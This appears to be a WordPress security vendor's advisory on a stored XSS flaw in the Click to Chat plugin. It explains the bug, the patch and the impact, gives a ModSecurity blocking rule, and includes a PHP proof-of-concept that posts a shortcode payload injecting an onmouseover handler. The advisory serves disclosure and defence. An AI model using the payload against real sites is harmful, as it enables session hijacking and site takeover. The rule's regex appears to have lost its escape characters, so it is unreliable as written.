Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-137047: This is an unauthenticated (under specific, uncommon site conditions) and authenticated (Contributor+) stored cross-site scripting vulnerability in the Click to Chat plugin (versions do_shortcode to expand shortcodes in rendered comment text. An unauthenticated attacker can post a comment containing the malicious shortcode (e.g., [ht-ctc-chat position=” onmouseover=”alert(document.cookie)” ]) if comments are auto-published (comment_moderation=0 and either comment_previously_approved=0 or a prior approved comment from the same identity). Otherwise, an attacker with Contributor-level access can insert the shortcode into a post they create, and upon publication (or preview), the script executes for any visitor. The attack vector is a crafted comment or post containing the shortcode with a malicious ‘position’ value.
The patch (v4.48) addresses the vulnerability by removing the legacy interface entirely. The diff shows that HT_CTC_Switch::to_switch() now forces HT_CTC_IS_NEW to ‘yes’ for all sites, eliminating the legacy code path that was vulnerable. Additionally, the patch removes the legacy admin files (e.g., new/admin/admin.php, admin-device-settings.php, admin-show-hide.php) that contained the vulnerable shortcode handling. By unifying all sites on the new interface, the ‘position’ attribute is no longer processed in an insecure manner, effectively mitigating the XSS. Sites on the legacy interface are migrated once via HT_CTC_Legacy_Migration::legacy_interface_update(). The patch also bumps the version to 4.48.
If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the browser of any user viewing the injected page, including administrators. This can lead to session hijacking, theft of sensitive data (cookies, nonces), defacement, or redirection to malicious sites. In a WordPress context, stored XSS can be leveraged to create malicious admin users, install plugins, or achieve remote code execution by exploiting the admin’s privileges. The impact is severe given the potential for full site compromise.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-comments-post.php"
"id:2026137047,phase:2,deny,status:403,chain,msg:'CVE-2026-137047 via Click to Chat shortcode position XSS',severity:'CRITICAL',tag:'CVE-2026-137047'"
SecRule ARGS_POST:comment "@rx [ht-ctc-chat[^]]*positions*=s*[^]]*(on[a-z]+s*=|<|>|&)"
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137047 - Click to Chat <= 4.47 - Unauthenticated Stored Cross-Site Scripting via 'position' Shortcode Attribute
// This PoC demonstrates the vulnerability by posting a comment containing a malicious shortcode.
// Prerequisites: The target site must have the legacy interface active (HT_CTC_IS_NEW='no'),
// a published post containing a core Comments block inside its post_content,
// and comments must be auto-published (comment_moderation=0 and comment_previously_approved=0 or prior approved comment).
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$post_id = 1; // ID of the post that contains the Comments block
// Malicious shortcode payload: breaks out of the position attribute and injects JavaScript
$payload = '[ht-ctc-chat position=" onmouseover="alert(document.cookie)" ]';
// Prepare the comment data
$comment_data = array(
'comment_post_ID' => $post_id,
'author' => 'Attacker',
'email' => 'attacker@example.com',
'url' => '',
'comment' => $payload,
'comment_parent' => 0,
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check if the comment was posted successfully (HTTP 302 redirect typically)
if ($http_code == 302) {
echo "Comment posted successfully. The payload will execute when the page is viewed.n";
} else {
echo "Failed to post comment. HTTP code: $http_coden";
echo "Response: $responsen";
}
// To trigger the XSS, visit the post URL: $target_url/?p=$post_id
// The injected JavaScript will execute when the shortcode is rendered in the comment.
?>